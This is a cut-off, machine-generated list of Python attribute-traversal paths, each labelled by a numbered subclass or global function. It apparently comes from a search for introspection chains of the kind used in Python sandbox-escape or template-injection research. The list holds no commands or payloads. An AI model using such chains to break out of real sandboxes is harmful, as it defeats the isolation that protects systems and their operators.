"Subclass 98: ..find_spec.__repr__.__objclass__", "Subclass 98: ..find_loader.__reduce_ex__.__self__", "Subclass 110: ..seek.__delattr__.__self__", "Subclass 104: ..get_filename.__init_subclass__.__self__", "Subclass 198: ..module_repr.__le__.__self__", "Subclass 80: ..__repr__.__hash__.__self__", "Subclass 94: ..__eq__.__str__.__self__", "Subclass 140: ..__init__.__class__", "Subclass 184: ..__len__.__init_subclass__.__self__", "Subclass 109: ..readlines.__repr__.__objclass__", "Subclass 164: ..repr_deque.__str__.__self__", "Subclass 82: ..__init__.__ge__.__self__", "Subclass 96: ..module_repr.__func__.__class__", "Subclass 104: ..get_filename.__format__.__self__", "Subclass 138: ..close.__hash__.__self__", "Subclass 105: ..__subclasshook__.__self__.is_resource", "Subclass 199: ..resource_path.__le__.__self__", "Subclass 87: ..__enter__.__init_subclass__.__self__", "Subclass 185: ..match.__setattr__.__self__", "Subclass 98: .._get_spec.__format__.__self__", "Subclass 104: ..get_code.__get__.__objclass__", "Subclass 81: ..acquire.__delattr__.__self__", "Subclass 188: ..__copy__.__format__.__self__", "Subclass 96: ..get_source.__call__.__self__", "Subclass 110: ..__next__.__reduce_ex__.__self__", "Subclass 82: ..__enter__.__get__.__objclass__", "Subclass 176: ..__init__.__init__.__self__", "Subclass 94: ..contents.__repr__.__objclass__", "Subclass 110: ..reset.__dir__.__self__", "Subclass 184: ..getwidth.__lt__.__self__", "Subclass 186: ..__init__.__reduce__.__self__", "Subclass 105: ..resource_path.__init_subclass__.__self__", "Subclass 137: ..deleter.__ne__.__self__", "Subclass 174: ..__init__.__le__.__self__", "Subclass 184: ..getwidth.__le__.__self__", "Subclass 172: ..__init_subclass__.__self__.__get__", "Subclass 175: .._recreate_cm.__get__.__objclass__", "Subclass 105: ..contents.__get__.__self__", "Subclass 110: ..__next__.__eq__.__self__", "Subclass 104: ..get_resource_reader.__reduce_ex__.__self__", "Subclass 80: ..has_deadlock.__subclasshook__.__self__", "Subclass 136: ..__repr__.__new__.__self__", "Subclass 183: ..closegroup.__lt__.__self__", "Subclass 138: ..throw.__sizeof__.__self__", "Subclass 187: ..__init_subclass__.__func__.__class__", "Subclass 94: ..get_filename.__eq__.__self__", "Subclass 84: ..module_repr.__gt__.__self__", "Subclass 110: ..__getattr__.__sizeof__.__self__", "Subclass 198: ..load_module.__dir__.__self__", "Subclass 106: ..__subclasshook__.__self__.decode", "Subclass 173: ..__init__.__class__", "Subclass 175: .._recreate_cm.__gt__.__self__", "Subclass 177: .._push_exit_callback.__reduce_ex__.__self__", "Subclass 94: ..get_data.__ge__.__self__", "Subclass 185: ..getwhile.__eq__.__self__", "Subclass 110: ..__enter__.__getattribute__.__self__", "Subclass 183: ..__init__.__new__.__self__", "Subclass 96: ..is_package.__format__.__self__", "Subclass 136: ..__weakref__.__objclass__.__call__", "Subclass 140: ..__repr__.__eq__.__self__", "Subclass 110: ..__enter__.__subclasshook__.__self__", "Subclass 184: ..getwidth.__ge__.__self__", "Subclass 110: ..reset.__call__.__objclass__", "Subclass 134: ..__call__.__eq__.__self__", "Subclass 104: ..get_data.__ne__.__self__", "Subclass 184: ..__init__.__init_subclass__.__self__", "Subclass 177: ..callback.__le__.__self__", "Subclass 96: ..is_package.__setattr__.__self__", "Subclass 184: ..dump.__setattr__.__self__", "Subclass 110: ..readline.__init_subclass__.__self__", "Subclass 104: ..__repr__.__gt__.__self__", "Subclass 95: ..__repr__.__gt__.__self__", "Subclass 110: ..__getattr__.__eq__.__self__", "Subclass 135: ..__call__.__format__.__self__", "Subclass 95: ..__getitem__.__getattribute__.__self__", "Subclass 83: ..__init__.__repr__.__objclass__", "Subclass 98: ..__repr__.__ge__.__self__", "Subclass 81: ..release.__class__", "Subclass 87: ..__enter__.__lt__.__self__", "Subclass 94: ..__eq__.__get__.__objclass__", "Subclass 164: ..repr_frozenset.__ge__.__self__", "Subclass 138: ..__iter__.__call__.__self__", "Subclass 140: ..__repr__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__call__.__objclass__", "Subclass 95: ..__contains__.__call__.__self__", "Subclass 98: ..__repr__", "Subclass 109: ..__iter__.__setattr__.__self__", "Subclass 197: ..find_module.__gt__.__self__", "Subclass 94: ..get_filename.__ge__.__self__", "Subclass 110: ..read.__hash__.__self__", "Subclass 98: ..invalidate_caches.__le__.__self__", "Subclass 96: ..is_package.__getattribute__.__self__", "Subclass 188: ..__deepcopy__.__gt__.__self__", "Subclass 136: ..__call__.__subclasshook__.__self__", "Subclass 177: ..push.__format__.__self__", "Subclass 110: ..readlines.__init__.__self__", "Subclass 104: ..get_data.__str__.__self__", "Subclass 177: ..callback", "Subclass 186: ..__init__.__eq__.__self__", "Subclass 98: ..__init__.__new__.__self__", "Subclass 83: ..__init__.__get__.__objclass__", "Subclass 109: ..writelines.__get__.__objclass__", "Subclass 195: ..IO.__class_getitem__.__func__", "Subclass 164: ..__init__.__call__.__self__", "Subclass 87: ..__enter__", "Subclass 199: ..contents.__setattr__.__self__", "Subclass 94: ..get_resource_reader.__new__.__self__", "Subclass 177: .._create_exit_wrapper.__init_subclass__.__self__", "Subclass 110: ..reset.__get__.__self__", "Subclass 186: ..scan.__new__.__self__", "Subclass 104: ..find_loader.__le__.__self__", "Subclass 138: ..__init_subclass__.__self__.throw", "Subclass 109: ..readlines", "Subclass 95: ..__contains__.__init__.__self__", "Subclass 184: ..__repr__.__repr__.__self__", "Subclass 96: ..load_module.__str__.__self__", "Subclass 173: ..register.__lt__.__self__", "Subclass 94: ..open_resource.__repr__.__objclass__", "Subclass 164: ..repr1.__ge__.__self__", "Subclass 174: ..__init__.__call__.__objclass__", "Subclass 80: ..__subclasshook__.__self__.__repr__", "Subclass 107: ..getstate.__setattr__.__self__", "Subclass 199: ..open_resource.__sizeof__.__self__", "Subclass 110: ..__init__.__getattribute__.__self__", "Subclass 109: ..__init_subclass__.__self__.reset", "Subclass 185: ..__weakref__.__objclass__._Tokenizer__next", "Subclass 138: ..__next__.__lt__.__self__", "Subclass 106: ..encode.__format__.__self__", "Subclass 186: ..__init__.__sizeof__.__self__", "Subclass 199: ..contents.__sizeof__.__self__", "Subclass 164: ..repr_frozenset.__repr__.__objclass__", "Subclass 138: ..__next__.__gt__.__self__", "Subclass 95: ..__len__.__str__.__self__", "Subclass 177: ..pop_all.__ge__.__self__", "Subclass 138: ..__await__.__le__.__self__", "Subclass 106: ..decode.__repr__.__objclass__", "Subclass 107: ..encode.__ne__.__self__", "Subclass 94: ..__hash__.__lt__.__self__", "Subclass 87: ..__exit__.__eq__.__self__", "Subclass 164: ..repr_tuple.__le__.__self__", "Subclass 185: ..getwhile.__subclasshook__.__self__", "Subclass 93: ..exec_module.__gt__.__self__", "Subclass 135: ..__weakref__.__objclass__.__call__", "Subclass 164: ..repr_instance.__reduce__.__self__", "Subclass 104: ..__repr__.__init__.__self__", "Subclass 184: ..__weakref__.__objclass__.insert", "Subclass 104: ..find_module.__gt__.__self__", "Subclass 104: ..__weakref__.__objclass__.get_resource_reader", "Subclass 96: ..module_repr.__self__.__init__", "Subclass 95: ..__len__.__ge__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_str", "Subclass 133: ..__subclasshook__.__self__.__iter__", "Subclass 94: ..contents.__new__.__self__", "Subclass 87: ..__exit__.__init__.__self__", "Subclass 172: ..__init__.__str__.__self__", "Subclass 104: ..__repr__.__str__.__self__", "Subclass 81: ..__repr__.__new__.__self__", "Subclass 86: ..create_module.__func__", "Subclass 109: ..seek.__ge__.__self__", "Subclass 192: ..__new__.__reduce__.__self__", "Subclass 82: ..__exit__.__delattr__.__self__", "Subclass 164: ..repr_frozenset.__init_subclass__.__self__", "Subclass 96: ..is_package.__sizeof__.__self__", "Subclass 137: ..__set__.__repr__.__self__", "Subclass 96: ..__subclasshook__.__self__.create_module", "Subclass 133: ..__enter__.__ge__.__self__", "Subclass 81: ..__init__.__setattr__.__self__", "Subclass 94: ..get_data.__get__.__objclass__", "Subclass 84: ..module_repr.__delattr__.__self__", "Subclass 105: ..open_resource.__repr__.__objclass__", "Subclass 188: ..__copy__.__ge__.__self__", "Subclass 164: ..repr_instance.__call__.__objclass__", "Subclass 96: ..is_package.__subclasshook__.__self__", "Subclass 172: .._make_unbound_method.__le__.__self__", "Subclass 195: ..TextIO.readline", "Subclass 109: ..__init__.__new__.__self__", "Subclass 82: ..__enter__.__init_subclass__.__self__", "Subclass 94: ..__hash__.__getattribute__.__self__", "Subclass 177: .._push_exit_callback.__reduce__.__self__", "Subclass 110: ..__next__.__init__.__self__", "Subclass 95: ..__getitem__.__init_subclass__.__self__", "Subclass 184: ..__len__.__subclasshook__.__self__", "Subclass 177: .._push_cm_exit.__lt__.__self__", "Subclass 93: ..is_package.__ge__.__self__", "Subclass 108: ..__init__.__subclasshook__.__self__", "Subclass 186: ..__init__.__gt__.__self__", "Subclass 109: ..__subclasshook__.__self__.__exit__", "Subclass 104: ..__init__.__class__", "Subclass 98: ..__weakref__.__objclass__.invalidate_caches", "Subclass 175: .._recreate_cm.__dir__.__self__", "Subclass 183: ..checklookbehindgroup.__ge__.__self__", "Subclass 104: ..__repr__.__sizeof__.__self__", "Subclass 134: ..__call__.__dir__.__self__", "Subclass 117: ..__aiter__.__setattr__.__self__", "Subclass 164: ..__subclasshook__.__self__._repr_iterable", "Subclass 185: ..__init__.__ge__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_code", "Subclass 110: ..readlines.__setattr__.__self__", "Subclass 107: ..getstate.__delattr__.__self__", "Subclass 174: ..__class_getitem__.__self__.__set_name__", "Subclass 133: ..close.__format__.__self__", "Subclass 174: ..__set_name__.__reduce__.__self__", "Subclass 172: ..__get__.__repr__.__objclass__", "Subclass 80: ..has_deadlock.__gt__.__self__", "Subclass 164: ..repr_deque.__subclasshook__.__self__", "Subclass 176: ..__init__.__delattr__.__self__", "Subclass 94: ..is_resource.__reduce_ex__.__self__", "Subclass 183: ..checklookbehindgroup.__call__.__objclass__", "Subclass 86: ..load_module.__self__.exec_module", "Subclass 105: ..contents.__subclasshook__.__self__", "Subclass 98: ..find_loader.__delattr__.__self__", "Subclass 164: ..repr_dict.__get__.__self__", "Subclass 83: ..__eq__.__subclasshook__.__self__", "Subclass 108: ..getstate.__ge__.__self__", "Subclass 110: ..__init_subclass__.__self__.__getattr__", "Subclass 95: .._recalculate.__repr__.__objclass__", "Subclass 86: ..exec_module.__setattr__.__self__", "Subclass 140: ..__exit__.__hash__.__self__", "Subclass 140: ..__repr__.__reduce__.__self__", "Subclass 183: ..opengroup.__gt__.__self__", "Subclass 134: ..__call__.__sizeof__.__self__", "Subclass 94: ..get_data.__reduce_ex__.__self__", "Subclass 130: ..__len__.__dir__.__self__", "Subclass 185: ..__init__.__dir__.__self__", "Subclass 135: ..__init__.__setattr__.__self__", "Subclass 80: ..release.__get__.__self__", "Subclass 164: ..repr_frozenset.__get__.__objclass__", "Subclass 179: ..__class__.__prepare__.__func__", "Subclass 114: ..__class__.register", "Subclass 109: ..reset.__call__.__self__", "Subclass 198: ..__class__._abc_caches_clear", "Subclass 196: ..Pattern.__class__.__setattr__", "Subclass 86: ..module_repr.__hash__.__self__", "Subclass 183: ..__init__.__call__.__objclass__", "Subclass 98: ..find_spec.__ge__.__self__", "Subclass 185: ..tell.__class__", "Subclass 95: ..__len__.__format__.__self__", "Subclass 107: ..encode.__sizeof__.__self__", "Subclass 117: ..__aiter__.__get__.__objclass__", "Subclass 105: ..is_resource.__call__.__objclass__", "Subclass 185: ..get.__repr__.__objclass__", "Subclass 95: ..__setitem__.__repr__.__objclass__", "Subclass 98: ..find_loader.__eq__.__self__", "Subclass 107: ..__init__.__init_subclass__.__self__", "Subclass 110: ..write.__gt__.__self__", "Subclass 164: ..repr1.__getattribute__.__self__", "Subclass 164: ..repr1", "Subclass 94: ..open_resource.__get__.__objclass__", "Subclass 137: ..deleter.__delattr__.__self__", "Subclass 94: ..open_resource.__reduce_ex__.__self__", "Subclass 95: ..__init__.__call__.__objclass__", "Subclass 106: ..__init_subclass__.__self__.encode", "Subclass 110: ..readlines.__get__.__self__", "Subclass 186: ..scan.__ge__.__self__", "Subclass 95: ..__repr__.__delattr__.__self__", "Subclass 96: ..__init__.__reduce_ex__.__self__", "Subclass 184: ..__len__", "Subclass 94: ..__hash__.__call__.__self__", "Subclass 198: ..__init_subclass__.__self__.load_module", "Subclass 94: ..get_data.__class__", "Subclass 164: ..__init__.__format__.__self__", "Subclass 110: ..__next__.__call__.__self__", "Subclass 95: ..__iter__.__call__.__self__", "Subclass 86: ..module_repr.__setattr__.__self__", "Subclass 110: ..reset.__call__.__self__", "Subclass 110: ..__init_subclass__.__self__.__init__", "Subclass 134: ..__repr__.__get__.__self__", "Subclass 177: ..pop_all.__new__.__self__", "Subclass 107: ..reset.__hash__.__self__", "Subclass 173: ..register.__format__.__self__", "Subclass 104: ..get_resource_reader.__hash__.__self__", "Subclass 114: ..__subclasshook__.__func__", "Subclass 114: ..__hash__.__gt__.__self__", "Subclass 98: ..__init__.__eq__.__self__", "Subclass 104: ..find_loader.__dir__.__self__", "Subclass 104: ..__init__.__str__.__self__", "Subclass 109: ..writelines.__subclasshook__.__self__", "Subclass 109: ..seek.__le__.__self__", "Subclass 136: ..__repr__.__format__.__self__", "Subclass 164: ..repr_frozenset.__sizeof__.__self__", "Subclass 95: ..__iter__.__sizeof__.__self__", "Subclass 96: ..load_module.__subclasshook__.__self__", "Subclass 96: ..exec_module.__lt__.__self__", "Subclass 136: ..__repr__.__dir__.__self__", "Subclass 95: .._get_parent_path.__class__", "Subclass 98: ..invalidate_caches.__str__.__self__", "Subclass 94: ..__hash__.__init__.__self__", "Subclass 95: ..__repr__.__dir__.__self__", "Subclass 108: ..getstate.__reduce_ex__.__self__", "Subclass 133: ..__weakref__.__objclass__.__exit__", "Subclass 134: ..__call__.__new__.__self__", "Subclass 96: ..load_module.__ne__.__self__", "Subclass 138: ..__subclasshook__.__self__.__await__", 'Global func 1: ..__le__.__self__.__class__', "Subclass 109: ..__subclasshook__.__self__.__iter__", "Subclass 138: ..__init__.__reduce__.__self__", "Subclass 164: ..repr_deque.__delattr__.__self__", "Subclass 133: ..__init_subclass__.__self__.__exit__", "Subclass 110: ..__subclasshook__.__self__.read", "Subclass 117: ..__class__._dump_registry.__class__", "Subclass 138: ..__iter__.__str__.__self__", "Subclass 109: ..seek.__repr__.__self__", "Subclass 183: ..checklookbehindgroup.__setattr__.__self__", "Subclass 98: ..find_loader", "Subclass 173: ..register.__ge__.__self__", "Subclass 109: ..writelines.__gt__.__self__", "Subclass 95: .._recalculate.__reduce_ex__.__self__", "Subclass 95: .._find_parent_path_names", "Subclass 105: ..contents.__ge__.__self__", "Subclass 186: ..scan.__le__.__self__", "Subclass 80: ..acquire.__repr__.__objclass__", "Subclass 199: ..contents.__init_subclass__.__self__", "Subclass 184: ..__len__.__new__.__self__", "Subclass 115: ..__await__.__class__", "Subclass 195: ..IO.close", "Subclass 174: ..__init__.__gt__.__self__", "Subclass 183: ..checklookbehindgroup.__class__", "Subclass 110: ..__weakref__.__objclass__.writelines", "Subclass 86: ..exec_module.__class__", "Subclass 177: ..pop_all.__dir__.__self__", "Subclass 164: ..__init__.__getattribute__.__self__", "Subclass 199: ..__class__.__instancecheck__.__class__", "Subclass 184: ..__getitem__.__eq__.__self__", "Subclass 184: ..dump.__reduce_ex__.__self__", "Subclass 105: ..is_resource.__hash__.__self__", "Subclass 104: ..find_loader", "Subclass 184: ..__repr__.__get__.__self__", "Subclass 104: ..is_package.__reduce_ex__.__self__", "Subclass 94: ..is_resource.__init_subclass__.__self__", "Subclass 95: ..__init_subclass__.__self__.__len__", "Subclass 186: ..__init__.__class__", "Subclass 175: .._recreate_cm.__str__.__self__", "Subclass 105: ..is_resource.__ne__.__self__", "Subclass 137: ..__init__.__new__.__self__", "Subclass 81: ..__init__.__subclasshook__.__self__", "Subclass 98: ..find_module.__dir__.__self__", "Subclass 179: ..__class__.__len__.__class__", "Subclass 177: ..__subclasshook__.__self__.callback", "Subclass 137: ..__init__.__le__.__self__", "Subclass 106: ..decode.__ge__.__self__", "Subclass 173: ..__get__.__init_subclass__.__self__", "Subclass 110: ..readlines.__delattr__.__self__", "Subclass 98: ..path_hook.__self__._fill_cache", "Subclass 109: ..seek.__class__", "Subclass 104: ..get_filename.__ne__.__self__", "Subclass 185: ..__init_subclass__.__self__.__init__", "Subclass 138: ..send.__call__.__objclass__", "Subclass 164: ..__init__.__sizeof__.__self__", "Subclass 105: ..__init_subclass__.__self__.contents", "Subclass 130: ..__len__.__subclasshook__.__self__", "Subclass 133: ..__getattr__.__gt__.__self__", "Subclass 114: ..__class__._dump_registry.__class__", "Subclass 185: ..get.__str__.__self__", "Subclass 98: ..find_loader.__sizeof__.__self__", "Subclass 115: ..__await__.__reduce_ex__.__self__", "Subclass 98: ..invalidate_caches.__init__.__self__", "Subclass 87: ..__enter__.__ge__.__self__", "Subclass 137: ..__get__.__eq__.__self__", "Subclass 199: ..is_resource.__call__.__objclass__", "Subclass 110: ..readlines.__le__.__self__", "Subclass 110: ..read.__ne__.__self__", "Subclass 195: ..BinaryIO.__enter__", "Subclass 134: ..__init__.__call__.__objclass__", "Subclass 104: ..__init__.__gt__.__self__", "Subclass 96: ..create_module.__setattr__.__self__", "Subclass 109: ..readlines.__sizeof__.__self__", "Subclass 119: ..__iter__.__reduce__.__self__", "Subclass 93: ..create_module.__call__.__self__", "Subclass 104: ..find_module.__setattr__.__self__", "Subclass 140: ..__enter__.__sizeof__.__self__", "Subclass 107: ..__init__.__repr__.__objclass__", "Subclass 107: ..__init__.__format__.__self__", "Subclass 183: ..checklookbehindgroup.__sizeof__.__self__", "Subclass 104: ..load_module.__get__.__objclass__", "Subclass 82: ..__enter__.__lt__.__self__", "Subclass 164: .._repr_iterable.__hash__.__self__", "Subclass 105: ..__init__.__setattr__.__self__", "Subclass 104: ..get_data.__call__.__self__", "Subclass 140: ..__weakref__.__objclass__.__enter__", "Subclass 177: ..enter_context.__ne__.__self__", "Subclass 195: ..BinaryIO.writelines", "Subclass 177: ..pop_all.__get__.__self__", "Subclass 174: ..__get__.__format__.__self__", "Subclass 84: ..module_repr.__subclasshook__.__self__", "Subclass 110: ..__exit__.__new__.__self__", "Subclass 98: ..path_hook.__self__.find_loader", "Subclass 186: ..__init__.__repr__.__objclass__", "Subclass 105: ..contents.__hash__.__self__", "Subclass 133: ..__init__.__getattribute__.__self__", "Subclass 96: ..load_module.__hash__.__self__", "Subclass 95: .._find_parent_path_names.__reduce__.__self__", "Subclass 114: ..__subclasshook__.__self__.__hash__", "Subclass 98: ..find_module.__le__.__self__", "Subclass 82: ..__subclasshook__.__self__.__init__", "Subclass 96: ..create_module.__sizeof__.__self__", "Subclass 133: ..__iter__.__sizeof__.__self__", "Subclass 188: ..__deepcopy__.__class__", "Subclass 185: ..seek.__call__.__self__", "Subclass 109: ..read.__new__.__self__", "Subclass 136: ..__init_subclass__.__self__.__call__", "Subclass 98: ..find_loader.__gt__.__self__", "Subclass 183: ..closegroup.__reduce_ex__.__self__", 'Global func 1: ..__hash__.__self__', "Subclass 133: ..__iter__", "Subclass 192: ..__new__.__le__.__self__", "Subclass 81: ..acquire.__format__.__self__", "Subclass 164: ..repr_array.__subclasshook__.__self__", "Subclass 173: ..register.__setattr__.__self__", "Subclass 105: ..__init__.__call__.__self__", "Subclass 106: ..decode.__get__.__self__", "Subclass 81: ..__init__.__eq__.__self__", "Subclass 164: ..repr_dict.__call__.__objclass__", "Subclass 95: ..append.__call__.__objclass__", "Subclass 164: ..repr_list.__call__.__self__", "Subclass 183: ..checklookbehindgroup.__hash__.__self__", "Subclass 96: ..__init__.__gt__.__self__", "Subclass 104: ..get_code.__class__", "Subclass 110: ..readline.__hash__.__self__", "Subclass 110: ..writelines.__call__.__objclass__", "Subclass 109: ..__enter__.__call__.__self__", "Subclass 177: .._create_exit_wrapper.__init__.__self__", "Subclass 195: ..IO.isatty.__class__", "Subclass 164: ..repr_list.__gt__.__self__", "Subclass 106: ..decode.__sizeof__.__self__", "Subclass 177: ..enter_context.__repr__.__objclass__", "Subclass 96: ..load_module.__repr__.__objclass__", "Subclass 185: ..tell", "Subclass 183: ..checklookbehindgroup.__ne__.__self__", "Subclass 107: ..reset.__init_subclass__.__self__", "Subclass 184: ..dump.__gt__.__self__", "Subclass 130: ..__subclasshook__.__func__.__class__", "Subclass 138: ..send", "Subclass 184: ..insert.__le__.__self__", "Subclass 177: ..callback.__dir__.__self__", "Subclass 140: ..__init__.__hash__.__self__", "Subclass 110: ..__exit__.__le__.__self__", "Subclass 135: .._Printer__setup.__class__", "Subclass 164: ..repr_tuple.__eq__.__self__", "Subclass 188: ..__deepcopy__.__hash__.__self__", "Subclass 183: ..__init__.__lt__.__self__", "Subclass 108: ..setstate.__delattr__.__self__", "Subclass 95: ..__iter__.__dir__.__self__", "Subclass 184: ..__repr__.__format__.__self__", "Subclass 183: ..opengroup.__init_subclass__.__self__", "Subclass 110: ..__getattr__.__init__.__self__", "Subclass 133: ..__getattr__.__hash__.__self__", "Subclass 98: ..__init__.__repr__.__objclass__", "Subclass 119: ..__iter__.__init__.__self__", "Subclass 105: ..open_resource.__repr__.__self__", "Subclass 174: ..__get__.__call__.__objclass__", "Subclass 185: .._Tokenizer__next.__eq__.__self__", "Subclass 98: ..find_loader.__call__.__self__", "Subclass 135: .._Printer__setup.__get__.__self__", "Subclass 195: ..BinaryIO.truncate", "Subclass 197: ..__class__._dump_registry", "Subclass 109: ..readlines.__class__", "Subclass 98: .._fill_cache.__ge__.__self__", "Subclass 105: ..open_resource.__setattr__.__self__", "Subclass 114: ..__hash__.__delattr__.__self__", "Subclass 104: ..is_package.__hash__.__self__", "Subclass 139: ..__str__.__new__.__self__", "Subclass 185: ..getwhile.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__reduce__.__self__", "Subclass 138: ..send.__init__.__self__", "Subclass 186: ..scan.__format__.__self__", "Subclass 95: ..append.__reduce__.__self__", "Subclass 173: ..__init_subclass__.__self__.__get__", "Subclass 94: ..__init_subclass__.__self__.get_data", "Subclass 98: ..__init_subclass__.__self__.__repr__", "Subclass 104: ..get_source.__call__.__self__", "Subclass 94: ..resource_path.__dir__.__self__", "Subclass 198: ..create_module.__repr__.__self__", "Subclass 132: ..__class__.__subclasscheck__", "Subclass 164: ..repr_deque.__hash__.__self__", "Subclass 199: ..open_resource.__reduce__.__self__", "Subclass 110: ..__iter__.__hash__.__self__", "Subclass 110: ..__getattr__.__call__.__objclass__", "Subclass 109: ..reset.__init_subclass__.__self__", "Subclass 110: ..read.__getattribute__.__self__", "Subclass 138: ..__init_subclass__.__self__.__init__", "Subclass 110: ..__exit__.__delattr__.__self__", "Subclass 119: ..__iter__.__get__.__self__", "Subclass 195: ..TextIO.readline.__class__", "Subclass 133: ..__getattr__.__str__.__self__", "Subclass 80: ..release.__dir__.__self__", "Subclass 174: ..__subclasshook__.__self__.__init__", "Subclass 96: ..exec_module.__get__.__objclass__", "Subclass 96: ..__init__.__setattr__.__self__", "Subclass 80: ..release.__ge__.__self__", "Subclass 177: .._create_cb_wrapper.__reduce__.__self__", "Subclass 117: ..__subclasshook__.__func__.__class__", "Subclass 95: ..__repr__.__le__.__self__", "Subclass 104: ..find_module.__sizeof__.__self__", "Subclass 164: ..__init__.__repr__.__self__", "Subclass 199: ..contents.__reduce_ex__.__self__", "Subclass 174: ..__set_name__.__dir__.__self__", "Subclass 164: ..repr_instance.__eq__.__self__", "Subclass 110: ..__init_subclass__.__self__.readlines", "Subclass 108: ..getstate.__le__.__self__", "Subclass 80: ..has_deadlock.__setattr__.__self__", "Subclass 185: ..tell.__reduce_ex__.__self__", "Subclass 93: ..is_package.__getattribute__.__self__", "Subclass 174: ..__init__.__ne__.__self__", "Subclass 110: ..read.__get__.__objclass__", "Subclass 109: ..reset.__init__.__self__", "Subclass 105: ..open_resource.__ge__.__self__", "Subclass 94: ..__init_subclass__.__self__.load_module", "Subclass 109: ..write.__get__.__objclass__", "Subclass 108: ..setstate.__gt__.__self__", "Subclass 133: ..__exit__.__init_subclass__.__self__", "Subclass 164: ..repr_instance.__repr__.__self__", "Subclass 198: ..__weakref__.__objclass__.create_module", "Subclass 110: ..__exit__.__gt__.__self__", "Subclass 134: ..__init__.__reduce__.__self__", "Subclass 197: ..__class__._abc_registry_clear", "Subclass 138: ..send.__reduce__.__self__", "Subclass 117: ..__aiter__.__new__.__self__", "Subclass 87: ..__exit__.__reduce__.__self__", "Subclass 95: ..__subclasshook__.__self__.__iter__", "Subclass 95: ..__weakref__.__objclass__._recalculate", "Subclass 135: ..__repr__.__init_subclass__.__self__", "Subclass 197: ..find_module", "Subclass 86: ..exec_module.__sizeof__.__self__", "Subclass 140: ..__repr__.__le__.__self__", "Subclass 133: ..__init_subclass__.__self__.close", "Subclass 84: ..module_repr.__ne__.__self__", "Subclass 109: ..readline.__repr__.__objclass__", "Subclass 104: ..find_loader.__repr__.__self__", "Subclass 176: ..__init__.__le__.__self__", "Subclass 94: ..open_resource.__eq__.__self__", "Subclass 198: ..module_repr.__ne__.__self__", "Subclass 95: ..__weakref__.__objclass__.__iter__", "Subclass 139: ..__init__.__repr__.__objclass__", 'Global func 1: ..__getattribute__.__self__', "Subclass 183: ..__init__.__gt__.__self__", "Subclass 134: ..__call__.__call__.__objclass__", "Subclass 164: ..repr_str.__new__.__self__", "Subclass 117: ..__aiter__.__lt__.__self__", "Subclass 177: .._push_cm_exit.__repr__.__objclass__", "Subclass 95: .._find_parent_path_names.__call__.__self__", "Subclass 104: ..__subclasshook__.__self__.__init__", "Subclass 133: ..__enter__.__le__.__self__", "Subclass 108: ..decode.__str__.__self__", "Subclass 198: ..load_module.__getattribute__.__self__", "Subclass 164: ..repr_deque.__init__.__self__", "Subclass 110: ..writelines.__repr__.__self__", "Subclass 110: ..writelines.__gt__.__self__", "Subclass 95: ..__setitem__.__str__.__self__", "Subclass 104: ..get_source.__gt__.__self__", "Subclass 81: ..acquire.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__str__.__self__", "Subclass 82: ..__exit__.__new__.__self__", "Subclass 114: ..__hash__.__format__.__self__", "Subclass 94: ..get_filename.__gt__.__self__", "Subclass 185: ..tell.__new__.__self__", "Subclass 184: ..__getitem__.__reduce__.__self__", "Subclass 136: ..__call__.__eq__.__self__", "Subclass 104: ..__init__.__delattr__.__self__", "Subclass 109: ..__init__.__dir__.__self__", "Subclass 183: ..closegroup.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__le__.__self__", "Subclass 164: ..repr_instance.__le__.__self__", "Subclass 94: ..is_resource.__get__.__self__", "Subclass 197: ..find_module.__getattribute__.__self__", "Subclass 133: ..__iter__.__call__.__objclass__", "Subclass 98: ..find_module.__init_subclass__.__self__", "Subclass 96: ..exec_module.__repr__.__objclass__", "Subclass 110: ..__exit__.__call__.__objclass__", "Subclass 109: ..__init__.__init__.__self__", "Subclass 95: ..append.__class__", "Subclass 83: ..__init__.__class__", "Subclass 177: ..callback.__reduce_ex__.__self__", "Subclass 164: ..repr_array.__new__.__self__", "Subclass 164: ..repr_dict.__getattribute__.__self__", "Subclass 83: ..__repr__.__delattr__.__self__", "Subclass 119: ..__iter__.__getattribute__.__self__", "Subclass 186: ..__subclasshook__.__self__.scan", "Subclass 133: ..__iter__.__init_subclass__.__self__", "Subclass 197: ..find_module.__str__.__self__", "Subclass 195: ..TextIO.read.__class__", "Subclass 105: ..__init__.__hash__.__self__", "Subclass 82: ..__exit__.__init_subclass__.__self__", "Subclass 95: ..__len__.__getattribute__.__self__", "Subclass 137: ..__init__.__class__", "Subclass 177: .._create_exit_wrapper.__format__.__self__", "Subclass 104: ..find_module.__ge__.__self__", "Subclass 104: ..find_loader.__ge__.__self__", "Subclass 110: ..writelines.__getattribute__.__self__", "Subclass 198: ..__init_subclass__.__self__.module_repr", "Subclass 87: ..__subclasshook__.__self__.__enter__", "Subclass 86: ..exec_module.__eq__.__self__", "Subclass 83: ..__init__.__format__.__self__", "Subclass 177: ..callback.__subclasshook__.__self__", "Subclass 195: ..TextIO.flush", "Subclass 198: ..create_module.__lt__.__self__", "Subclass 172: ..__repr__.__dir__.__self__", "Subclass 119: ..__subclasshook__.__func__.__class__", "Subclass 198: ..create_module.__format__.__self__", "Subclass 199: ..__weakref__.__objclass__.open_resource", "Subclass 110: ..readline.__reduce_ex__.__self__", "Subclass 109: ..__next__.__sizeof__.__self__", "Subclass 108: ..getstate", "Subclass 184: ..__init__.__hash__.__self__", "Subclass 104: ..__init__.__reduce__.__self__", "Subclass 98: .._get_spec.__call__.__objclass__", "Subclass 81: ..acquire.__sizeof__.__self__", "Subclass 110: ..writelines.__ge__.__self__", "Subclass 135: .._Printer__setup.__init__.__self__", "Subclass 134: ..__repr__.__gt__.__self__", "Subclass 93: ..exec_module.__sizeof__.__self__", "Subclass 138: ..__await__.__str__.__self__", "Subclass 164: .._repr_iterable.__eq__.__self__", "Subclass 98: ..find_loader.__repr__.__objclass__", "Subclass 164: ..repr1.__delattr__.__self__", "Subclass 186: ..scan.__delattr__.__self__", "Subclass 183: ..checklookbehindgroup.__init_subclass__.__self__", "Subclass 135: ..__call__.__eq__.__self__", "Subclass 104: ..get_filename.__hash__.__self__", "Subclass 195: ..IO.isatty", "Subclass 110: ..readline.__dir__.__self__", "Subclass 140: ..__enter__.__ne__.__self__", "Subclass 94: ..load_module.__repr__.__self__", "Subclass 135: ..__call__.__hash__.__self__", "Subclass 94: ..get_filename.__hash__.__self__", "Subclass 94: ..contents.__eq__.__self__", "Subclass 95: ..__len__.__eq__.__self__", "Subclass 82: ..__exit__.__get__.__self__", "Subclass 177: 